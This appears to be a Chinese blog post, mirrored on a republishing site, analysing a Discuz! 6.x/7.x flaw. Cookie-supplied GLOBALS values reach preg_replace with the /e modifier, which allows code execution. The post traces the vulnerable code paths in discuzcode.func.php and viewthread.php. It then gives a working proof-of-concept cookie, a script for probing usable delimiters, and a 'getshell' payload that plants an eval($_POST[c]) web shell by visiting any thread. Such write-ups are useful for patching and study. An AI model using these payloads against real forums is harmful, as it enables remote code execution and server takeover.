zoukankan      html  css  js  c++  java
  • Discuz! 6.x/7.x 全局变量防御绕过导致命令执行

    参考:http://wooyun.jozxing.cc/static/bugs/wooyun-2014-080723.html

    文件位于:include/discuzcode.func.php  第97-241行   函数 discuzcode() 

    有这么一句话,$GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['replacearray']

    $message = preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['replacearray'], $message, $maxsmilies);

    然而在5.3.*中,$_REQUEST这个超全局变量的值受php.ini中request_order的影响,在最新的php5.3.x系列 中,request_order默认值为GP,也就是说默认配置下$_REQUEST只包含$_GET和$_POST,而不包括$_COOKIE,那么我们就可以通过COOKIE来提交GLOBALS变量了。(在5.3.29中默认是CGP)

    为了演示漏洞就设置成GP。

    $message = preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['replacearray'], $message, $maxsmilies);

     很典型的漏洞。preg_replace() 前两个参数可控,可就是说我们只要控制第一个参数是/e模式,第二个参数是我们要执行的php代码,就能构成一个后门了。

    这里有个注意的点,就是不一定需要/e模式,

    写个脚本跑跑看什么字符可以。

    <?php
    preg_replace($_GET['a'].'.*'.$_GET['a'].'e','phpinfo();','a',1)
    ?>
    

      

    具体的有'"!@#$%^&*()-+等,但要注意传输过程中的转义。

    通过cookie提交:GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();

    然后在调用discuzcode()函数的地方回显。

    在/viewthread.php中  viewthread_procpost() 函数 第619-729行

    在第725行调用了discuzcode()函数

    	$post['message'] = discuzcode($post['message'], $post['smileyoff'], $post['bbcodeoff'], $post['htmlon'] & 1, $forum['allowsmilies'], $forum['allowbbcode'], ($forum['allowimgcode'] && $showimages ? 1 : 0), $forum['allowhtml'], ($forum['jammer'] && $post['authorid'] != $discuz_uid ? 1 : 0), 0, $post['authorid'], $forum['allowmediacode'], $post['pid']);
    

      

    又在最前面的地方调用viewthread_procpost()函数

    	while($post = $sdb->fetch_array($query)) {
    		if(($onlyauthoradd && $post['anonymous'] == 0) || !$onlyauthoradd) {
    			$postlist[$post['pid']] = viewthread_procpost($post);
    		}
    	}
    

      来到/include/discuzcode.func.php 当设置了$GLOBALS['_DCACHE']['smilies']的值以后,就能执行preg_replace(),造成代码执行。

    	if(!$smileyoff && $allowsmilies && !empty($GLOBALS['_DCACHE']['smilies']) && is_array($GLOBALS['_DCACHE']['smilies'])) {...}
    

      

     poc:在cookie中添加:GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();

    然后访问任一个帖子。/viewthread.php?tid=13&extra=page%3D1 就能触发漏洞

     getsshell:GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval($_POST[c])%3B;

    
    
  • 相关阅读:
    Python表达式与生成式
    Python三大器之生成器
    Python三大器之迭代器
    Arrays.asList基本用法
    理解静态绑定与动态绑定
    Comparable 和 Comparator的理解
    @SuppressWarnings 用法
    @SafeVarargs 使用说明
    LeetCode43,一题让你学会高精度算法
    分布式——吞吐量巨强、Hbase的承载者 LSMT
  • 原文地址:https://www.cnblogs.com/yangxiaodi/p/6918898.html
Copyright © 2011-2022 走看看